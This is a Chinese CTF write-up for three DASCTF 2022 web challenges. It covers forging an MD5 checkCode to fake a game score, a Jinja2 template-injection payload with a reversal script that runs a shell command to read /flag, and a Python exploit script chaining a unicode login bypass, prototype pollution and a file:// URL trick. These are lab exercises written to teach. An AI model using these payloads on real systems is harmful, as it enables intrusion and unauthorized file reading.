DASCTF 2022九月赛WEB

dino3d

打开后一个游戏,提示需要玩够1000000分才能通过。
在这里插入图片描述
抓个包看一下,修改score,看到还有一个checkCode,和tm时间戳,想要绕过主要伪造checkCode。
在这里插入图片描述
看下网站源码,每个js文件查找下checkCode计算。其中一个找到关键代码。
在这里插入图片描述
得到如下信息:

var checkCode = "DASxCBCTF" + salt;
var salt="_wElc03e"
game.sn(score.score,checkCode)
sn(e,t){
……
body: "score=" + parseInt(e).toString() + "&checkCode=" + md5(parseInt(e).toString() + t) + "&tm=" + (+new Date).toString().substring(0, 10)
……
}

所以checkCode是MD5(“1000000DASxCBCTF_wElc03e”),时间戳需要设置稍大值,不断发包去匹配对应时间。
在这里插入图片描述

Text Reverser

在这里插入图片描述
功能是把字符串倒序输出,但是过滤了模板注入的{{}}符号,使用{%%}绕过,构造{%if 1%}1{%endif%}发现依旧倒序输出。
转换思路,将倒序的结果}%fidne%{1}%1 fi%{输入,得到1:
在这里插入图片描述
尝试模板注入的链,过滤了class,自己倒序链输入;过滤cat,用nl

{% print([].__class__.__base__.__subclasses__()[213].__init__.__globals__['__builtins__']['__import__']('os').popen('nl /flag').read()) %}

倒序:

str="{% print([].__class__.__base__.__subclasses__()[213].__init__.__globals__['__builtins__']['__import__']('os').popen('nl /flag').read()) %}"
n=len(str)
for i in range(0,n):
    print(str[n-i-1],end="")

在这里插入图片描述

cbshop

这道题最后有10人解出,我卡在最后绕过json检测flag字符串的地方。
首先给了源码,点开后主要是两个js

const adminUser = {
    username: "admin",
    password: "😀admin😀",
    money: 9999
};
 if(username === adminUser.username && password === adminUser.password.substring(1,6))

所以当admin密码是\u00DE00admi时,以admin用户登陆,拥有money=9999
在这里插入图片描述
在这里插入图片描述
然后主要就是购买第二个flag,源码如下:

var user = {
        username: req.session.username,
        money: req.session.money
    };
var order = buyApi(user, req.body);
//使用req.body复制给order[user.username]
Object.assign(order[user.username], product);
//function buyApi(user, product) 
else if(product.id === 2) {        //buy flag
        if(user.money >= 11 && user.token) {  //do u have token?
            if(JSON.stringify(product).includes("flag")) {
                Object.assign(order,{ msg: "hint: go to 'readFileSync'!!!!" });
            }else{
                user.money -= 11;
                Object.assign(order,{ msg: fs.readFileSync(product.name).toString() });
            }
        }else {
            Object.assign(order,{ msg: "nononono!" });
        }
    }else {
        Object.assign(order,{ code: 0, msg: "no such product!" });
    }
    Object.assign(order, { username: user.username, code: 3, money: user.money });
    return order;
}

可以看到,其中需要user.money>=11(已经满足),user.token为真,才能进入下一步。这里需要能够影响已经设定的user对象内容,用到了JS原型链污染的技术,每个对象都包含一个__proto__属性指向它的构造函数的原型对象。而核心代码Object.assign(order[user.username], product);其中username可控,通过更改用户名改为__proto__,这样的话就会将 product 对象合并到 order 的 proto 中,而user 和 order 的原型都是 Object ,是同一个原型,当 product 中构造 token:true 时,user.token 访问为 true。
在这里插入图片描述
最后是绕json格式的name不能包含"flag"字符串。其中主要查阅fs.readFileSync()函数为同步读取,其参数可以为路径,URL或者缓存区。当时主要各种编码无法实现,因为字符串原因,URL编码也不解析。之后得知使用file协议,相当于使用URL时候可以解析URL编码进行绕过。

将Content-type改为multipart/form-data或者删除,可以直接使用flag读取了?
似乎是使用form-data传输,数据被当做文件流,不经过JSON.stringify,所以绕过,但是此时被当做formData格式,依然可以解析其中key和value的值。

在这里插入图片描述

或者使用如下代码发送URL对象:

import requests
session = requests.Session()

url = "http://c303458d-c831-4b08-aa86-3654f2e37c70.node4.buuoj.cn:81/" # 题目url

def login():
    data = {
        "username": "admin",
        "password": "\uDE00admi"
    }
    session.post(url + "login", json = data)

def changeUsername():
    data = { "username": "__proto__" }
    session.post(url + "changeUsername", json = data)

def buyFlag():
    data = {
        "name":{
          "href": 'file:///fl%61g',
          "origin": 'null',
          "protocol": 'file:',
          "username": '',
          "password": '',
          "host": '',
          "hostname": '',
          "port": '',
          "pathname": '/fl%61g',
          "search": '',
          "searchParams": "URLSearchParams {}",
          "hash": ''
        },
        "id":2,
        "token":True
    }
    res = session.post(url + "buy", json = data)
    return res.text

if __name__ == '__main__':
    login()
    changeUsername()
    flag = buyFlag()
    print(flag)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值